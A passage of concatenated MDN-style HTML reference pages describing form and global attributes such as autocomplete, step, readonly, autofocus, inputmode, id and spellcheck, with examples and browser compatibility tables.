permission the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) has to provide automated assistance in filling out form field values, as well as guidance to the browser as to the type of information expected in the field. It is available on [`<input>`](../element/input) elements that take a text or numeric value as input, [`<textarea>`](../element/textarea) elements, [`<select>`](../element/select) elements, and [`<form>`](../element/form) elements. The source of the suggested values is generally up to the browser; typically values come from past values entered by the user, but they may also come from pre-configured values. For instance, a browser might let the user save their name, address, phone number, and email addresses for autocomplete purposes. Perhaps the browser offers the ability to save encrypted credit card information, for autocompletion following an authentication procedure. If an [`<input>`](../element/input), [`<select>`](../element/select) or [`<textarea>`](../element/textarea) element has no `autocomplete` attribute, then browsers use the `autocomplete` attribute of the element's form owner, which is either the [`<form>`](../element/form) element that the element is a descendant of, or the `<form>` whose `id` is specified by the [`form`](../element/input#attr-form) attribute of the element. For more information, see the [`autocomplete`](../element/form#attr-autocomplete) attribute in [`<form>`](../element/form). **Note:** In order to provide autocompletion, user-agents might require `<input>`/`<select>`/`<textarea>` elements to: 1. Have a `name` and/or `id` attribute 2. Be descendants of a `<form>` element 3. The form to have a [submit](../element/input/submit) button Try it ------ Values ------ "`off`" The browser is not permitted to automatically enter or select a value for this field. It is possible that the document or application provides its own autocomplete feature, or that security concerns require that the field's value not be automatically entered. **Note:** In most modern browsers, setting `autocomplete` to "`off`" will not prevent a password manager from asking the user if they would like to save username and password information, or from automatically filling in those values in a site's login form. See [the autocomplete attribute and login fields](https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#the_autocomplete_attribute_and_login_fields). "`on`" The browser is allowed to automatically complete the input. No guidance is provided as to the type of data expected in the field, so the browser may use its own judgement. "`name`" The field expects the value to be a person's full name. Using "`name`" rather than breaking the name down into its components is generally preferred because it avoids dealing with the wide diversity of human names and how they are structured; however, you can use the following `autocomplete` values if you do need to break the name down into its components: "`honorific-prefix`" The prefix or title, such as "Mrs.", "Mr.", "Miss", "Ms.", "Dr.", or "Mlle.". "`given-name`" The given (or "first") name. "`additional-name`" The middle name. "`family-name`" The family (or "last") name. "`honorific-suffix`" The suffix, such as "Jr.", "B.Sc.", "PhD.", "MBASW", or "IV". "`nickname`" A nickname or handle. "`email`" An email address. "`username`" A username or account name. "`new-password`" A new password. When creating a new account or changing passwords, this should be used for an "Enter your new password" or "Confirm new password" field, as opposed to a general "Enter your current password" field that might be present. This may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password (see also [Preventing autofilling with autocomplete="new-password"](https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#preventing_autofilling_with_autocompletenew-password)). "`current-password`" The user's current password. "`one-time-code`" A one-time code used for verifying user identity. "`organization-title`" A job title, or the title a person has within an organization, such as "Senior Technical Writer", "President", or "Assistant Troop Leader". "`organization`" A company or organization name, such as "Acme Widget Company" or "Girl Scouts of America". "`street-address`" A street address. This can be multiple lines of text, and should fully identify the location of the address within its second administrative level (typically a city or town), but should not include the city name, ZIP or postal code, or country name. "`address-line1`", "`address-line2`", "`address-line3`" Each individual line of the street address. These should only be present if the "`street-address`" is not present. "`address-level4`" The finest-grained [administrative level](#administrative_levels_in_addresses), in addresses which have four levels. "`address-level3`" The third [administrative level](#administrative_levels_in_addresses), in addresses with at least three administrative levels. "`address-level2`" The second [administrative level](#administrative_levels_in_addresses), in addresses with at least two of them. In countries with two administrative levels, this would typically be the city, town, village, or other locality in which the address is located. "`address-level1`" The first [administrative level](#administrative_levels_in_addresses) in the address. This is typically the province in which the address is located. In the United States, this would be the state. In Switzerland, the canton. In the United Kingdom, the post town. "`country`" A country or territory code. "`country-name`" A country or territory name. "`postal-code`" A postal code (in the United States, this is the ZIP code). "`cc-name`" The full name as printed on or associated with a payment instrument such as a credit card. Using a full name field is preferred, typically, over breaking the name into pieces. "`cc-given-name`" A given (first) name as given on a payment instrument like a credit card. "`cc-additional-name`" A middle name as given on a payment instrument or credit card. "`cc-family-name`" A family name, as given on a credit card. "`cc-number`" A credit card number or other number identifying a payment method, such as an account number. "`cc-exp`" A payment method expiration date, typically in the form "MM/YY" or "MM/YYYY". "`cc-exp-month`" The month in which the payment method expires. "`cc-exp-year`" The year in which the payment method expires. "`cc-csc`" The security code for the payment instrument; on credit cards, this is the 3-digit verification number on the back of the card. "`cc-type`" The type of payment instrument (such as "Visa" or "Master Card"). "`transaction-currency`" The currency in which the transaction is to take place. "`transaction-amount`" The amount, given in the currency specified by "`transaction-currency`", of the transaction, for a payment form. "`language`" A preferred language, given as a valid [BCP 47 language tag](https://en.wikipedia.org/wiki/IETF_language_tag). "`bday`" A birth date, as a full date. "`bday-day`" The day of the month of a birth date. "`bday-month`" The month of the year of a birth date. "`bday-year`" The year of a birth date. "`sex`" A gender identity (such as "Female", "Fa'afafine", "Hijra", "Male", "Nonbinary"), as freeform text without newlines. "`tel`" A full telephone number, including the country code. If you need to break the phone number up into its components, you can use these values for those fields: "`tel-country-code`" The country code, such as "1" for the United States, Canada, and other areas in North America and parts of the Caribbean. "`tel-national`" The entire phone number without the country code component, including a country-internal prefix. For the phone number "1-855-555-6502", this field's value would be "855-555-6502". "`tel-area-code`" The area code, with any country-internal prefix applied if appropriate. "`tel-local`" The phone number without the country or area code. This can be split further into two parts, for phone numbers which have an exchange number and then a number within the exchange. For the phone number "555-6502", use "`tel-local-prefix`" for "555" and "`tel-local-suffix`" for "6502". "`tel-extension`" A telephone extension code within the phone number, such as a room or suite number in a hotel or an office extension in a company. "`impp`" A URL for an instant messaging protocol endpoint, such as "xmpp:[[email protected]](mailto:[email protected])". "`url`" A URL, such as a home page or company web site address as appropriate given the context of the other fields in the form. "`photo`" The URL of an image representing the person, company, or contact information given in the other fields in the form. See the [WHATWG Standard](https://html.spec.whatwg.org/multipage/forms.html#autofill) for more detailed information. **Note:** The `autocomplete` attribute also controls whether Firefox will — unlike other browsers — [persist the dynamic disabled state and (if applicable) dynamic checkedness](https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing) of an `<input>` element, `<textarea>` element, or entire `<form>` across page loads. The persistence feature is enabled by default. Setting the value of the `autocomplete` attribute to `off` disables this feature. This works even when the `autocomplete` attribute would normally not apply by virtue of its `type`. See [bug 654072](https://bugzilla.mozilla.org/show_bug.cgi?id=654072). Examples -------- ``` <div> <label for="cc-number">Enter your credit card number</label> <input name="cc-number" id="cc-number" autocomplete="off" /> </div> ``` Administrative levels in addresses ---------------------------------- The four administrative level fields (`address-level1` through `address-level4`) describe the address in terms of increasing levels of precision within the country in which the address is located. Each country has its own system of administrative levels, and may arrange the levels in different orders when addresses are written. `address-level1` always represents the broadest administrative division; it is the least-specific portion of the address short of the country name. ### Form layout flexibility Given that different countries write their address in different ways, with each field in different places within the address, and even different sets and numbers of fields entirely, it can be helpful if, when possible, your site is able to switch to the layout expected by your users when presenting an address entry form, given the country the address is located within. ### Variations The way each administrative level is used will vary from country to country. Below are some examples; this is not meant to be an exhaustive list. #### United States A typical home address within the United States looks like this: 432 Anywhere St Exampleville CA 95555 In the United States, the least-specific portion of the address is the state, in this case "CA" (the official US Postal Service shorthand for "California"). Thus `address-level1` is the state, or "CA" in this case. The second-least specific portion of the address is the city or town name, so `address-level2` is "Exampleville" in this example address. United States addresses do not use levels 3 and up. #### United Kingdom Address input forms in the UK should contain one address level and one, two or three address lines, depending on the address. A complete address would look like so: 103 Frogmarch Street Upper-Wapping Winchelsea TN99 8ZZ The address levels are: * `address-level1`: The post town — "Winchelsea" in this case. * `address-line2`: The locality — "Upper-Wapping" in this case. * `address-line1`: The house/street particulars — "103 Frogmarch Street". The postcode is separate. Note that you can actually use just the postcode and `address-line1` to successfully deliver mail in the UK, so they should be the only mandatory items, but usually people tend to provide more details. #### China China can use as many as three administrative levels: the province, the city, and the district. The 6 digit postal code is not always needed but when supplied it is placed separately with a label for clarity. For example: 北京市东城区建国门北大街 8 号华润大厦 17 层 1708 单元 邮编:100005 #### Japan An address in Japan is typically **written in one line**, in an order from the least-specific to more-specific portions (in **reverse order to the United States**). There are two or three administrative levels in an address. Additional line can be used to show building names and room numbers. The postal code is separate. For example: 〒 381-0000 長野県長野市某町 123 "〒" and following seven digits shows the postal code. `address-level1` is used for prefectures or the Tokyo Metropolis; "長野県" (Nagano Prefecture) is in this case. `address-level2` is typically used for cities, counties, towns and villages; "長野市" (Nagano City) in this case. "某町 123" is `address-line1` which consists of an area name and a lot number. Specifications -------------- | Specification | | --- | | [HTML Standard # attr-fe-autocomplete](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fe-autocomplete) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `autocomplete` | Yes ["In Chrome 66, support was added for the `<textarea>` and `<select>` elements.", "Originally only supported on the `<input>` element.", "Chrome does not accept `off` as a value. See [bug 587466](https://crbug.com/587466)."] | ≤79 | Yes | No | Yes | No | Yes ["In Chrome 66, support was added for the `<textarea>` and `<select>` elements.", "Originally only supported on the `<input>` element.", "Chrome does not accept `off` as a value. See [bug 587466](https://crbug.com/587466)."] | Yes ["In Chrome 66, support was added for the `<textarea>` and `<select>` elements.", "Originally only supported on the `<input>` element.", "Chrome does not accept `off` as a value. See [bug 587466](https://crbug.com/587466)."] | Yes | Yes | No | Yes ["In Samsung Internet 9.0, support was added for the `<textarea>` and `<select>` elements.", "Originally only supported on the `<input>` element.", "Samsung Internet does not accept `off` as a value. See [bug 587466](https://crbug.com/587466)."] | | `new-password` | Yes | ≤79 | 67 | No | Yes | No | Yes | Yes | 67 | Yes | No | Yes | See also -------- * The [`<input>`](../element/input) element * The [`<select>`](../element/select) element * The [`<textarea>`](../element/textarea) element * The [`<form>`](../element/form) element * [HTML forms](https://developer.mozilla.org/en-US/docs/Learn/Forms) * All [global attributes](../global_attributes)
programming_docs
html HTML attribute: step HTML attribute: step ==================== The `step` attribute is a number that specifies the granularity that the value must adhere to or the keyword `any`. It is valid for the numeric input types, including the [date](../element/input/date), [month](../element/input/month), [week](../element/input/week), [time](../element/input/time), [datetime-local](../element/input/datetime-local), [number](../element/input/number) and [range](../element/input/range) types. The `step` sets the *stepping interval* when clicking up and down spinner buttons, moving a slider left and right on a range, and validating the different date types. If not explicitly included, `step` defaults to 1 for `number` and `range`, and 1 unit type (minute, week, month, day) for the date/time input types. The value can must be a positive number - integer or float — or the special value `any`, which means no stepping is implied, and any value is allowed (barring other constraints, such as [`min`](min) and [`max`](max)). The default stepping value for `number` inputs is 1, allowing only integers to be entered, *unless* the stepping base is not an integer. The default stepping value for `time` is 1 second, with 900 being equal to 15 minutes. Syntax ------ Default values for step| Input type | Value | Example | | --- | --- | --- | | [date](../element/input/date) | 1 (day) | `<input type="date" min="2019-12-25" step="1">` | | [month](../element/input/month) | 1 (month) | `<input type="month" min="2019-12" step="12">` | | [week](../element/input/week) | 1 (week) | `<input type="week" min="2019-W23" step="2">` | | [time](../element/input/time) | 60 (seconds) | `<input type="time" min="09:00" step="900">` | | [datetime-local](../element/input/datetime-local) | 1 (second) | `<input type="datetime-local" min="2019-12-25T19:30" step="7">` | | [number](../element/input/number) | 1 | `<input type="number" min="0" step="0.1" max="10">` | | [range](../element/input/range) | 1 | `<input type="range" min="0" step="2" max="10">` | If `any` is not explicitly set, valid values for the `number`, date/time input types, and `range` input types are equal to the basis for stepping - the [`min`](min) value and increments of the step value, up to the [`max`](max) value, if specified. For example, if we have `<input type="number" min="10" step="2">` any even integer, 10 or greater, is valid. If omitted, `<input type="number">`, any integer is valid, but floats, like 4.2, are not valid, as `step` defaults to 1. For 4.2 to be valid, `step` would have had to be set to `any`, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as `<input type="number" min="-5.2">` ### min impact on step The value of `min` and `step` define what are valid values, even if the `step` attribute is not included, as `step` defaults to `0`. We add a big red border around invalid inputs: ``` input:invalid { border: solid red 3px; } ``` Then define an input with a minimum value of 7.2, omitting the step attribute, wherein it defaults to 1. ``` <input id="myNumber" name="myNumber" type="number" step="2" min="1.2" /> ``` Valid values include `1.2`, `3.2`, `5.2`, `7.2`, `9.2`, `11.2`, and so on. Integers and even numbers followed by .2 are not valid. As we included an invalid value, supporting browsers will show the value as invalid. The number spinner, if present, will only show valid float values of `1.2` and greater **Note:** When the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in constraint validation and will match the [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) and [`:out-of-range`](https://developer.mozilla.org/en-US/docs/Web/CSS/:out-of-range) pseudoclasses See [Client-side validation](../constraint_validation) and [`stepMismatch`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/stepMismatch) for more information. Accessibility concerns ---------------------- Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the `min` attribute, ensure this minimum requirement is understood by the user. Providing instructions within the [`<label>`](../element/label) may be sufficient. If providing instructions outside of labels, which allows more flexible positioning and design, consider using [`aria-labelledby`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby) or [`aria-describedby`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-describedby). Specifications -------------- | Specification | | --- | | [HTML Standard # attr-input-step](https://html.spec.whatwg.org/multipage/input.html#attr-input-step) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `step` | 5 | 12 | 16 | 10 | ≤12.1 | 5 | ≤37 | 18 | 16 | ≤12.1 | 4 | 1.0 | See also -------- * [`max`](max) * [`min`](min) * [Constraint validation](../constraint_validation) * [Form validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation) * [`validityState.stepMismatch`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/stepMismatch) * [`:out-of-range`](https://developer.mozilla.org/en-US/docs/Web/CSS/:out-of-range) * [`<input>`](../element/input) * [date](../element/input/date), [month](../element/input/month), [week](../element/input/week), [time](../element/input/time), [datetime-local](../element/input/datetime-local), [number](../element/input/number) and [range](../element/input/range) types, and the [`<meter>`](../element/meter) html HTML attribute: elementtiming HTML attribute: elementtiming ============================= The `elementtiming` attribute is used to indicate that an element is flagged for tracking by [`PerformanceObserver`](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver) objects using the `"element"` type. For more details, see the [`PerformanceElementTiming`](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceElementTiming) interface. This attribute may be applied to [`<img>`](../element/img), [`<image>`](https://developer.mozilla.org/en-US/docs/Web/SVG/Element/image) elements inside an [`<svg>`](https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg), poster images of [`<video>`](../element/video) elements, elements which have a [`background-image`](https://developer.mozilla.org/en-US/docs/Web/CSS/background-image), and elements containing text nodes, such as a [`<p>`](../element/p). In the DOM, this attribute is reflected as [`Element.elementTiming`](https://developer.mozilla.org/en-US/docs/Web/API/Element/elementTiming). Usage ----- The value given for `elementtiming` becomes an identifier for the observed element. ``` <img alt="alt" src="img.jpg" elementtiming="label for element" /> ``` Good contenders for elements you might want to observe are: * The main image for an article. * A blog post title * Images in a carousel for a shopping site. * The poster image for the main video on a page. Examples -------- ``` <img alt="Alt for a main blog post image" src="my-massive-image.jpg" elementtiming="Main image"> <p elementtiming="important-text">Some very important information.</p"> ``` See also -------- * [`PerformanceElementTiming`](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceElementTiming) * [`Element.elementTiming`](https://developer.mozilla.org/en-US/docs/Web/API/Element/elementTiming) html HTML attribute: for HTML attribute: for =================== The `for` attribute is an allowed attribute for [`<label>`](../element/label) and [`<output>`](../element/output). When used on a `<label>` element it indicates the form element that this label describes. When used on an `<output>` element it allows for an explicit relationship between the elements that represent values which are used in the output. Usage ----- When used as an attribute of `<label>`, the `for` attribute has a value which is the `id` of the form element it relates to. ``` <label for="username">Your name</label> <input type="text" id="username" /> ``` When used as an attribute of `<output>`, the `for` attribute has a value which is a space separated list of the `id` values of the elements which are used to create the output. ``` <input type="range" id="b" name="b" value="50" /> + <input type="number" id="a" name="a" value="10" /> = <output name="result" for="a b">60</output> ``` Examples -------- See examples of usage on the element pages for [`<label>`](../element/label) and [`<output>`](../element/output). Specifications -------------- | Specification | | --- | | [HTML Standard # attr-label-for](https://html.spec.whatwg.org/multipage/forms.html#attr-label-for) | | [HTML Standard # attr-output-for](https://html.spec.whatwg.org/multipage/form-elements.html#attr-output-for) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `for` | 10 | ≤18 | 4 | No | 11 | 7 | Yes | Yes | 4 | No | Yes | Yes | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `for` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | ### html.elements.label.for BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.output.for BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. html HTML attribute: readonly HTML attribute: readonly ======================== The Boolean `readonly` attribute, when present, makes the element not mutable, meaning the user can not edit the control. Try it ------ Overview -------- If the `readonly` attribute is specified on an input element, because the user can not edit the input, the element does not participate in constraint validation. The `readonly` attribute is supported by `[text](../element/input/text)`, `[search](../element/input/search)`, `[url](../element/input/url)`, `[tel](../element/input/tel)`, `[email](../element/input/email)`, `[password](../element/input/password)`, `[date](../element/input/date)`, `[month](../element/input/month)`, `[week](../element/input/week)`, `[time](../element/input/time)`, `[datetime-local](../element/input/datetime-local)`, and `[number](../element/input/number)` `[`<input>`](../element/input)` types and the `[`<textarea>`](../element/textarea)` form control elements. If present on any of these input types and elements, the `[`:read-only`](https://developer.mozilla.org/en-US/docs/Web/CSS/:read-only)` pseudo class will match. If the attribute is not included, the `[`:read-write`](https://developer.mozilla.org/en-US/docs/Web/CSS/:read-write)` pseudo class will match. The attribute is not supported or relevant to `[`<select>`](../element/select)` or input types that are already not mutable, such as [checkbox](../element/input/checkbox) and [radio](../element/input/radio) or cannot, by definition, start with a value, such as the [file](../element/input/file) input type. [range](../element/input/range) and [color](../element/input/color), as both have default values. It is also not supported on [hidden](../element/input/hidden) as it can not be expected that a user to fill out a form that is hidden. Nor is it supported on any of the button types, including `image`. **Note:** Only text controls can be made read-only, since for other controls (such as checkboxes and buttons) there is no useful distinction between being read-only and being disabled, so the `readonly` attribute does not apply. When an input has the `readonly` attribute, the [`:read-only`](https://developer.mozilla.org/en-US/docs/Web/CSS/:read-only) pseudo-class also applies to it. Conversely, inputs that support the `readonly` attribute but don't have the attribute set match the [`:read-write`](https://developer.mozilla.org/en-US/docs/Web/CSS/:read-write) pseudo-class. ### Attribute interactions The difference between [`disabled`](disabled) and `readonly` is that read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled. Because a read-only field cannot have its value changed by a user interaction, [`required`](required) does not have any effect on inputs with the `readonly` attribute also specified. The only way to modify dynamically the value of the readonly attribute is through a script. **Note:** The `required` attribute is not permitted on inputs with the `readonly` attribute specified. ### Usability Browsers display the `readonly` attribute. ### Constraint validation If the element is read-only, then the element's value can not be updated by the user, and does not participate in constraint validation. Example ------- ### HTML ``` <div class="group"> <input type="text" value="Some value" readonly="readonly" id="text" /> <label for="text">Text box</label> </div> <div class="group"> <input type="date" value="2020-01-01" readonly="readonly" id="date" /> <label for="date">Date</label> </div> <div class="group"> <input type="email" value="Some value" readonly="readonly" id="email" /> <label for="email">Email</label> </div> <div class="group"> <input type="password" value="Some value" readonly="readonly" id="pwd" /> <label for="pwd">Password</label> </div> <div class="group"> <textarea readonly="readonly" id="ta">Some value</textarea> <label for="ta">Message</label> </div> ``` ### Result Specifications -------------- | Specification | | --- | | [HTML Standard # the-readonly-attribute](https://html.spec.whatwg.org/multipage/input.html#the-readonly-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `readonly` | 1 | 12 | 1 | ≤6 | ≤12.1 | ≤4 | 4.4 | 18 | 4 | ≤12.1 | ≤3 | 1.0 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `readonly` | 1 | 12 | 1 | 5.5 | ≤12.1 | 1 | 4.4 | 18 | 4 | ≤12.1 | 1 | 1.0 | ### html.elements.input.readonly BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.textarea.readonly BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. See also -------- * [`:read-only`](https://developer.mozilla.org/en-US/docs/Web/CSS/:read-only) and [`:read-write`](https://developer.mozilla.org/en-US/docs/Web/CSS/:read-write) * [`<input>`](../element/input) * [`<select>`](../element/select) html autofocus autofocus ========= The `autofocus` [global attribute](../global_attributes) is a Boolean attribute indicating that an element should be focused on page load, or when the [`<dialog>`](../element/dialog) that it is part of is displayed. ``` <input name="q" autofocus /> ``` No more than one element in the document or dialog may have the autofocus attribute. If applied to multiple elements the first one will receive focus. **Note:** The `autofocus` attribute applies to all elements, not just form controls. For example, it might be used on a <contenteditable> area. Accessibility considerations ---------------------------- Automatically focusing a form control can confuse visually-impaired people using screen-reading technology and people with cognitive impairments. When `autofocus` is assigned, screen-readers "teleport" their user to the form control without warning them beforehand. Use careful consideration for accessibility when applying the `autofocus` attribute. Automatically focusing on a control can cause the page to scroll on load. The focus can also cause dynamic keyboards to display on some touch devices. While a screen reader will announce the label of the form control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding content. Specifications -------------- | Specification | | --- | | [HTML Standard # dom-fe-autofocus](https://html.spec.whatwg.org/multipage/interaction.html#dom-fe-autofocus) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `autofocus` | 79 1-79 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 79 12-79 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 1 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 10 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 66 ≤12.1-66 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 4 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 79 ≤37-79 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 79 18-79 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 4 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 57 ≤12.1-57 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 3.2 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | 12.0 1.0-12.0 Supported for the `<button>`, `<input>`, `<select>`, and `<textarea>` elements. | html inputmode inputmode ========= The `inputmode` [global attribute](../global_attributes) is an [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) attribute that hints at the type of data that might be entered by the user while editing the element or its contents. This allows a browser to display an appropriate virtual keyboard. It is used primarily on [`<input>`](../element/input) elements, but is usable on any element in [`contenteditable`](../global_attributes#contenteditable) mode. It's important to understand that the `inputmode` attribute doesn't cause any validity requirements to be enforced on input. To require that input conforms to a particular data type, choose an appropriate [`<input> element type`](../element/input#input_types). For specific guidance on choosing [`<input>`](../element/input) types, see the [Values](#values) section. Values ------ The attribute can have any of the following values: `none` No virtual keyboard. For when the page implements its own keyboard input control. `text` (default value) Standard input keyboard for the user's current locale. `decimal` Fractional numeric input keyboard containing the digits and decimal separator for the user's locale (typically `.` or `,`). Devices may or may not show a minus key (`-`). `numeric` Numeric input keyboard, but only requires the digits 0–9. Devices may or may not show a minus key. `tel` A telephone keypad input, including the digits 0–9, the asterisk (`\*`), and the pound (`#`) key. Inputs that \*require\* a telephone number should typically use `[<input type="tel">](../element/input/tel)` instead. `search` A virtual keyboard optimized for search input. For instance, the [return/submit key](https://html.spec.whatwg.org/dev/interaction.html#input-modalities:-the-enterkeyhint-attribute) may be labeled "Search", along with possible other optimizations. Inputs that *require* a search query should typically use `[<input type="search">](../element/input/search)` instead. `email` A virtual keyboard optimized for entering email addresses. Typically includes the `@`character as well as other optimizations. Inputs that *require* email addresses should typically use `[<input type="email">](../element/input/email)` instead. `url` A keypad optimized for entering URLs. This may have the `/` key more prominent, for example. Enhanced features could include history access and so on. Inputs that *require* a URL should typically use `[<input type="url">](../element/input/url)` instead. Specifications -------------- | Specification | | --- | | [HTML Standard # attr-inputmode](https://html.spec.whatwg.org/multipage/interaction.html#attr-inputmode) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `inputmode` | 66 | 79 | 95 17-23 | No | 53 | No | 66 | 66 | 79 | 47 | 12.2 | 9.0 | See also -------- * All [global attributes](../global_attributes). * [`enterkeyhint`](enterkeyhint) global attribute
programming_docs
html id id == The `id` [global attribute](../global_attributes) defines an identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a [fragment identifier](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web#fragment)), scripting, or styling (with [CSS](https://developer.mozilla.org/en-US/docs/Glossary/CSS)). Try it ------ **Warning:** This attribute's value is an opaque string: this means that web authors should not rely on it to convey human-readable information (although having your IDs somewhat human-readable can be useful for code comprehension, e.g. consider `ticket-18659` versus `r45tgfe-freds&$@`). `id`'s value must not contain [whitespace](https://developer.mozilla.org/en-US/docs/Glossary/Whitespace) (spaces, tabs etc.). Browsers treat non-conforming IDs that contain whitespace as if the whitespace is part of the ID. In contrast to the [`class`](../global_attributes#class) attribute, which allows space-separated values, elements can only have one single ID value. **Note:** Technically, the value for an `id` attribute may contain any character, except [whitespace](https://developer.mozilla.org/en-US/docs/Glossary/Whitespace) characters. However, to avoid inadvertent errors, only [ASCII](https://developer.mozilla.org/en-US/docs/Glossary/ASCII) letters, digits, `'_'`, and `'-'` should be used and the value for an `id` attribute should start with a letter. For example, `.` has a special meaning in CSS (it acts as a [class selector](https://developer.mozilla.org/en-US/docs/Web/CSS/Class_selectors)). Unless you are careful to escape it in the CSS, it won't be recognized as part of the value of an `id` attribute. It is easy to forget to do this, resulting in bugs in your code that could be hard to detect. Specifications -------------- | Specification | | --- | | [HTML Standard # global-attributes:the-id-attribute-2](https://html.spec.whatwg.org/multipage/dom.html#global-attributes:the-id-attribute-2) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `id` | Yes | 12 | 32 Yes-32 `id` is a true global attribute only since Firefox 32. | Yes | Yes | Yes | Yes | Yes | 32 Yes-32 `id` is a true global attribute only since Firefox 32. | Yes | Yes | Yes | See also -------- * All [global attributes](../global_attributes). * [`Element.id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) that reflects this attribute. * The [`Document.getElementById`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById) method. * CSS [ID selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/ID_selectors). html spellcheck spellcheck ========== The `spellcheck` [global attribute](../global_attributes) is an [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) attribute that defines whether the element may be checked for spelling errors. Try it ------ It may have the following values: * empty string or `true`, which indicates that the element should be, if possible, checked for spelling errors; * `false`, which indicates that the element should not be checked for spelling errors. If this attribute is not set, its default value is element-type and browser-defined. This default value may also be *inherited*, which means that the element content will be checked for spelling errors only if its nearest ancestor has a *spellcheck* state of `true`. This attribute is merely a hint for the browser: browsers are not required to check for spelling errors. Typically non-editable elements are not checked for spelling errors, even if the `spellcheck` attribute is set to `true` and the browser supports spellchecking. Security and privacy concerns ----------------------------- Using spellchecking can have consequences for users' security and privacy. The specification does not regulate *how* spellchecking is done and the content of the element may be sent to a third party for spellchecking results (see [enhanced spellchecking and "spell-jacking"](https://www.otto-js.com/news/article/chrome-and-edge-enhanced-spellcheck-features-expose-pii-even-your-passwords)). You should consider setting `spellcheck` to `false` for elements that can contain sensitive information. Specifications -------------- | Specification | | --- | | [HTML Standard # attr-spellcheck](https://html.spec.whatwg.org/multipage/interaction.html#attr-spellcheck) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `spellcheck` | 9 | 12 | Yes | 11 | Yes | Yes | 47 | 47 | 57 | 37 | 9.3 | 5.0 | See also -------- * All [global attributes](../global_attributes). html title title ===== The `title` [global attribute](../global_attributes) contains text representing advisory information related to the element it belongs to. Try it ------ The main use of the `title` 